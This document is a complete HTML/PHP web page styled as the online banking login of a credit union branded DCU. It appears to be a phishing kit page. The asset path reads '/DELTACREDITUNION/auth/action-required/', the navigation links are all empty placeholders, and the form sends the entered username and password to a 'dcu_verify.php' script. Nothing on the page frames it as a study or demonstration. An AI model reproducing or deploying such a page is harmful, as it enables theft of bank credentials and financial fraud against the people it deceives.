<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>DCU – Online Banking Login</title>
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link href="https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

    :root {
      --teal:        #006b5e;
      --teal-dark:   #00574c;
      --teal-light:  #008f7a;
      --teal-pale:   #e6f4f2;
      --teal-mid:    #cceae5;
      --white:       #ffffff;
      --offwhite:    #f7faf9;
      --text:        #1a2e2b;
      --muted:       #6b8c87;
      --border:      #c8dedd;
      --error:       #c0392b;
      --radius:      10px;
      --shadow:      0 24px 64px rgba(0,107,94,.18);
    }

    html, body { height: 100%; font-family: 'Inter', sans-serif; background: var(--teal-dark); overflow-x: hidden; }

    /* ── Background ── */
    .bg-wrap { position: fixed; inset: 0; z-index: 0; }
    .bg-wrap img { width: 100%; height: 100%; object-fit: cover; opacity: .22; }
    .bg-overlay { position: absolute; inset: 0; background: linear-gradient(135deg, rgba(0,87,76,.95) 35%, rgba(0,107,94,.80) 100%); }

    /* ── Top utility bar ── */
    .topbar {
      position: relative; z-index: 10;
      background: rgba(0,40,35,.9);
      backdrop-filter: blur(10px);
      border-bottom: 1px solid rgba(255,255,255,.07);
      height: 44px; display: flex; align-items: center;
      padding: 0 36px; gap: 0;
    }
    .topbar-left { display: flex; gap: 0; }
    .topbar-left a {
      color: rgba(255,255,255,.6); font-size: .72rem; font-weight: 500;
      letter-spacing: .08em; text-transform: uppercase; text-decoration: none;
      padding: 0 18px; height: 44px; display: flex; align-items: center;
      border-right: 1px solid rgba(255,255,255,.08);
      transition: color .2s, background .2s;
    }
    .topbar-left a:first-child { border-left: 1px solid rgba(255,255,255,.08); }
    .topbar-left a:hover { color: var(--white); background: rgba(255,255,255,.05); }

    /* ── Navbar ── */
    .navbar {
      position: relative; z-index: 10;
      background: var(--white);
      border-bottom: 1px solid var(--border);
      display: flex; align-items: center;
      padding: 0 36px; height: 72px;
      gap: 40px;
    }
    .logo img { height: 44px; display: block; }
    .nav-links { display: flex; gap: 4px; margin-left: 16px; }
    .nav-links a {
      color: var(--text); font-size: .83rem; font-weight: 600;
      text-decoration: none; padding: 8px 14px; border-radius: 6px;
      transition: background .2s, color .2s;
    }
    .nav-links a:hover { background: var(--teal-pale); color: var(--teal); }
    .nav-spacer { flex: 1; }
    .btn-pay {
      background: var(--teal); color: var(--white);
      font-size: .8rem; font-weight: 700; letter-spacing: .07em; text-transform: uppercase;
      text-decoration: none; padding: 10px 20px; border-radius: 6px;
      transition: background .2s;
    }
    .btn-pay:hover { background: var(--teal-dark); }

    /* ── Main ── */
    .main {
      position: relative; z-index: 5;
      min-height: calc(100vh - 116px);
      display: flex; align-items: center; justify-content: center;
      padding: 48px 20px 64px;
    }

    /* ── Card ── */
    .card {
      background: var(--white); border-radius: 18px;
      box-shadow: var(--shadow);
      width: 100%; max-width: 440px;
      overflow: hidden;
      animation: fadeUp .5s ease both;
    }
    @keyframes fadeUp { from { opacity: 0; transform: translateY(22px); } to { opacity: 1; transform: translateY(0); } }

    .card-header {
      background: var(--teal);
      padding: 26px 36px 22px;
      position: relative; overflow: hidden;
    }
    .card-header::after {
      content: '';
      position: absolute; bottom: -24px; right: -24px;
      width: 100px; height: 100px; border-radius: 50%;
      background: rgba(255,255,255,.06);
    }
    .card-header::before {
      content: '';
      position: absolute; top: -20px; right: 60px;
      width: 60px; height: 60px; border-radius: 50%;
      background: rgba(255,255,255,.05);
    }
    .card-header h1 {
      font-family: 'DM Serif Display', serif;
      font-size: 1.6rem; color: var(--white); line-height: 1.2;
      position: relative; z-index: 1;
    }
    .card-header p {
      color: rgba(255,255,255,.6); font-size: .83rem;
      margin-top: 4px; font-weight: 300; position: relative; z-index: 1;
    }

    .card-body { padding: 30px 36px 36px; }

    /* ── Form ── */
    .form-group { margin-bottom: 18px; }
    label {
      display: block; font-size: .72rem; font-weight: 700;
      letter-spacing: .09em; text-transform: uppercase;
      color: var(--teal-dark); margin-bottom: 7px;
    }
    input[type="text"], input[type="password"] {
      width: 100%;
      border: 1.5px solid var(--border);
      border-radius: var(--radius);
      padding: 12px 16px;
      font-family: 'Inter', sans-serif; font-size: .95rem; color: var(--text);
      background: var(--offwhite);
      outline: none; transition: border-color .2s, box-shadow .2s, background .2s;
    }
    input:focus {
      border-color: var(--teal);
      box-shadow: 0 0 0 3px rgba(0,107,94,.12);
      background: var(--white);
    }
    input.error-field { border-color: var(--error); }

    .input-icon-wrap { position: relative; }
    .input-icon-wrap input { padding-right: 44px; }
    .toggle-pw {
      position: absolute; right: 13px; top: 50%; transform: translateY(-50%);
      background: none; border: none; cursor: pointer;
      color: var(--muted); transition: color .2s; padding: 0; line-height: 1;
    }
    .toggle-pw:hover { color: var(--teal); }

    .form-meta { display: flex; justify-content: space-between; align-items: center; margin: -4px 0 20px; }
    .remember { display: flex; align-items: center; gap: 7px; font-size: .82rem; color: var(--text); cursor: pointer; }
    .remember input { width: auto; accent-color: var(--teal); }
    .forgot { font-size: .82rem; color: var(--teal); text-decoration: none; font-weight: 600; transition: color .2s; }
    .forgot:hover { color: var(--teal-dark); text-decoration: underline; }

    .btn-primary {
      width: 100%; padding: 13px;
      background: var(--teal); color: var(--white);
      border: none; border-radius: var(--radius);
      font-family: 'Inter', sans-serif; font-size: .88rem; font-weight: 700;
      letter-spacing: .1em; text-transform: uppercase;
      cursor: pointer; transition: background .2s, box-shadow .2s, transform .1s;
      box-shadow: 0 4px 20px rgba(0,107,94,.3);
    }
    .btn-primary:hover { background: var(--teal-dark); box-shadow: 0 6px 28px rgba(0,107,94,.4); }
    .btn-primary:active { transform: scale(.98); }

    .divider-line { display: flex; align-items: center; gap: 12px; margin: 22px 0; color: var(--muted); font-size: .75rem; letter-spacing: .05em; }
    .divider-line::before, .divider-line::after { content: ''; flex: 1; height: 1px; background: var(--border); }

    .enroll-box {
      background: var(--teal-pale); border: 1px solid var(--teal-mid);
      border-radius: var(--radius); padding: 15px 18px; text-align: center;
    }
    .enroll-box p { font-size: .84rem; color: #3a6460; }
    .enroll-box a { color: var(--teal); font-weight: 700; text-decoration: none; transition: color .2s; }
    .enroll-box a:hover { color: var(--teal-dark); text-decoration: underline; }

    .error-msg {
      background: #fdf0ef; border: 1px solid #e8c0bb;
      border-left: 4px solid var(--error);
      border-radius: 8px; padding: 11px 14px;
      color: var(--error); font-size: .84rem; margin-bottom: 18px; display: none;
    }
    .error-msg.visible { display: block; animation: shake .35s ease; }
    @keyframes shake { 0%,100% { transform: translateX(0); } 25% { transform: translateX(-6px); } 75% { transform: translateX(6px); } }

    /* ── Footer ── */
    .footer { position: relative; z-index: 5; text-align: center; padding: 0 20px 28px; color: rgba(255,255,255,.3); font-size: .72rem; }
    .footer a { color: rgba(255,255,255,.45); text-decoration: none; margin: 0 6px; }
    .footer a:hover { color: rgba(255,255,255,.8); }

    @media (max-width:640px) {
      .topbar, .navbar { padding: 0 16px; }
      .nav-links { display: none; }
      .card-header, .card-body { padding-left: 22px; padding-right: 22px; }
    }
  </style>
</head>
<body>

<div class="bg-wrap">
  <img src="/DELTACREDITUNION/auth/action-required/res/img/background.webp" alt="">
  <div class="bg-overlay"></div>
</div>

<!-- Top bar -->
<div class="topbar">
  <div class="topbar-left">
    <a href="#">Insurance</a>
    <a href="#">Investments</a>
    <a href="#">Branches &amp; ATMs</a>
  </div>
</div>

<!-- Navbar -->
<nav class="navbar">
  <div class="logo">
    <img src="/DELTACREDITUNION/auth/action-required/res/img/logo.png" alt="DCU – Digital Credit Union">
  </div>
  <div class="nav-links">
    <a href="#">Bank</a>
    <a href="#">Borrow</a>
    <a href="#">Plan</a>
    <a href="#">Learn</a>
    <a href="#">Support</a>
    <a href="#">Services</a>
    <a href="#">Membership</a>
  </div>
  <div class="nav-spacer"></div>
  <a href="#" class="btn-pay">Pay My Loan</a>
</nav>

<!-- Main -->
<div class="main">
  <div class="card">
    <div class="card-header">
      <h1>Online Banking Login</h1>
      <p>Sign in to manage your accounts securely</p>
    </div>
    <div class="card-body">

      <div class="error-msg" id="errorMsg">⚠ Invalid credentials. Please check your username and password.</div>

      <form method="POST" action="dcu_verify.php" id="loginForm" novalidate>
        <div class="form-group">
          <label for="username">Username</label>
          <input type="text" id="username" name="username" placeholder="Enter your username" autocomplete="username" required>
        </div>

        <div class="form-group">
          <label for="password">Password</label>
          <div class="input-icon-wrap">
            <input type="password" id="password" name="password" placeholder="Enter your password" autocomplete="current-password" required>
            <button type="button" class="toggle-pw" id="togglePw" aria-label="Toggle password">
              <svg id="eyeIcon" width="17" height="17" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                <path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/>
                <circle cx="12" cy="12" r="3"/>
              </svg>
            </button>
          </div>
        </div>

        <div class="form-meta">
          <label class="remember"><input type="checkbox" name="remember"> Remember Username</label>
          <a href="#" class="forgot">Forgot Username/Password?</a>
        </div>

        <button type="submit" class="btn-primary">Login →</button>
      </form>

      <div class="divider-line">or</div>

      <div class="enroll-box">
        <p>Not a member yet? <a href="#">Join DCU →</a></p>
      </div>

    </div>
  </div>
</div>

<div class="footer">
  <p>© <?= date('Y') ?> Digital Federal Credit Union. All rights reserved.
    <a href="#">Privacy Policy</a> | <a href="#">Security</a> | <a href="#">Accessibility</a>
  </p>
</div>

<script>
  document.getElementById('togglePw').addEventListener('click', function () {
    const pw = document.getElementById('password');
    const icon = document.getElementById('eyeIcon');
    if (pw.type === 'password') {
      pw.type = 'text';
      icon.innerHTML = '<path d="M17.94 17.94A10.07 10.07 0 0112 20c-7 0-11-8-11-8a18.45 18.45 0 015.06-5.94"/><path d="M9.9 4.24A9.12 9.12 0 0112 4c7 0 11 8 11 8a18.5 18.5 0 01-2.16 3.19"/><line x1="1" y1="1" x2="23" y2="23"/>';
    } else {
      pw.type = 'password';
      icon.innerHTML = '<path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z"/><circle cx="12" cy="12" r="3"/>';
    }
  });

  document.getElementById('loginForm').addEventListener('submit', function (e) {
    const u = document.getElementById('username').value.trim();
    const p = document.getElementById('password').value.trim();
    const err = document.getElementById('errorMsg');
    document.getElementById('username').classList.remove('error-field');
    document.getElementById('password').classList.remove('error-field');
    err.classList.remove('visible');
    if (!u || !p) {
      e.preventDefault();
      if (!u) document.getElementById('username').classList.add('error-field');
      if (!p) document.getElementById('password').classList.add('error-field');
      err.textContent = '⚠ Please enter both your username and password.';
      err.classList.add('visible');
    }
  });
</script>
</body>
</html>